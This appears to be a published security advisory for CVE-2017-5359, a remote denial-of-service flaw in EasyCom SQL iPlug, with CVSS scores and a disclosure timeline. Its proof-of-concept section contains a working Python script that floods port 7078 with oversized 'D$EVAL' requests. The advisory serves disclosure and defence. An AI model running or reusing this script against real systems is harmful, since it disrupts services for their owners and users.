EasyCom SQL iPlug Denial Of Service

2017.02.22
Credit: hyp3rlinx
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

[+] Credits: John Page AKA Hyp3rlinX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EASYCOM-SQL-IPLUG-DENIAL-OF-SERVICE.txt [+] ISR: ApparitionSec Vendor: ================ easycom-aura.com Product: =========== SQL iPlug EasycomPHP_4.0029.iC8im2.exe SQL iPlug provides System i applications real-time access to heterogeneous and external databases (Oracle, SQL Server, MySQL, MS Access, Sybase, Progress) in a completely transparent manner and without requiring replication. Vulnerability Type: =================== Denial Of Service CVE Reference: ============== CVE-2017-5359 Security Issue: ================ SQL iPlug listens on port 7078 by default, it suffers from denial of service when sending overly long string via HTTP requests fed to the "D$EVAL" parameter. Exploit/POC: ============ import socket print 'EasyCom SQL-IPLUG DOS 0day!' print 'hyp3rlinx' IP = raw_input("[IP]> ") PORT = 7078 payload="A"*43000 arr=[] c=0 while 1: try: arr.append(socket.create_connection((IP,PORT))) arr[c].send('GET /?D$EVAL='+payload+" HTTP/1.1\r\n\r\n") c+=1 print "doit!" except socket.error: print "[*] 5th ave 12:00" raw_input() break Disclosure Timeline: ====================================== Vendor Notification: December 22, 2016 Vendor acknowledgement: December 23, 2016 Vendor Release Fix/Version February 20, 2017 February 22, 2017 : Public Disclosure Network Access: =============== Remote Severity: =========== Medium [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx

References:

http://hyp3rlinx.altervista.org/advisories/EASYCOM-SQL-IPLUG-DENIAL-OF-SERVICE.txt


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